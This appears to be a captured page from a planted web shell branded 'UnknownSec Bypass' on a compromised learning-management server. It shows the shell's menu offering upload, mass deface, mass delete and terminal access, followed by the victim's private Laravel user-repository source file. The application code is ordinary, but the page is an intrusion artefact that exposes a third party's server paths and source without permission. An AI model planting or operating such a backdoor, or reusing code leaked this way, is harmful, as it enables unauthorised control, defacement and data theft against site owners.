UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_13e519f8a16f
/
app
/
Repositories
/
Auth
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
UserRepositoryEloquent.php
<?php namespace EstudioLMS\Repositories\Auth; use EstudioLMS\Models\Auth\User; use Illuminate\Support\Facades\Auth; use Prettus\Repository\Eloquent\BaseRepository; /** * Class UserRepositoryEloquent * @package EstudioLMS\Repositories\Auth */ class UserRepositoryEloquent extends BaseRepository implements UserRepository { public function boot() { $user = Auth::user(); if ($user && isset($user['roles'][0]['name'])) { $role = $user['roles'][0]['name']; if ($role !== 'owner') { $this->pushCriteria(new UserCriteria()); } } } /** * Specify Model class name * * @return string */ public function model() { return User::class; } /** * @param $user_id * @param $post_id * @return mixed */ public function canVotePost($user_id, $post_id) { return $this->model->voted($post_id)->find($user_id); } /** * @return mixed */ public function allInstructors() { return $this->model->with('posts.category') ->inRole(['teacher', 'admin']) ->where('status', '=', true) ->get(); } /** * @return mixed */ public function allStudents() { return $this->model ->isRole('student') ->get(); } /** * @return mixed */ public function studentsAndTeachers() { return $this->model->with('posts.category') ->inRole(['teacher', 'student']) ->where('status', '=', true) ->get(); } /** * @param $id * @return mixed */ public function instructorPosts($id) { return $this->model->with(['posts', 'posts.category']) ->find($id); } /** * @param $role * @return mixed */ public function userByRole($role) { return $this->model->isRole($role)->first(); } /** * @return mixed */ public function listAllUsers() { $baseModel = $this->model->withTrashed() ->join('role_user', 'users.id', '=', 'role_user.user_id') ->join('roles', 'role_user.role_id', '=', 'roles.id') ->select(['users.id', 'users.updated_at', 'users.name', 'users.email', 'users.status', 'users.deleted_at', 'roles.name AS role_name' ,'roles.display_name']); $role = Auth::user()['roles'][0]['name']; if ($role !== 'owner') { $baseModel = $baseModel->where('show_admin', '=', false); } return $baseModel->get(); } /** * @return mixed */ public function withTrashed() { $this->model = $this->model->withTrashed(); return $this; } /** * @param $id * @return mixed */ public function restore($id) { $user = $this->model->withTrashed()->find($id); $user->restore(); return $user; } /** * @param $userId * @return mixed */ public function instructorById($userId) { return $this->model->with('posts.category') ->inRole(['teacher']) ->where('id', '=', $userId) ->get(); } /** * @param mixed $adminId use true para todos ou o id do usuário em especĂfico. * @param bool $superAdmin * @param bool $teachers * @return mixed */ public function admins($adminId = 0, $superAdmin = false, $teachers = false) { $roles = ['admin']; if ($teachers) { array_push($roles, 'teachers'); } if ($superAdmin) { array_push($roles, 'superadmin'); } $result = $this->model->inRole($roles); if ($adminId == 0) { return $result->get(); } else { $result = $result->where('id', '=', $adminId); return $result->get(); } } /** * @param array $roles * @return mixed */ public function onlyWithRoles(array $roles) { return $this->model->inRole($roles); } }
Copyright © 2026 - UnknownSec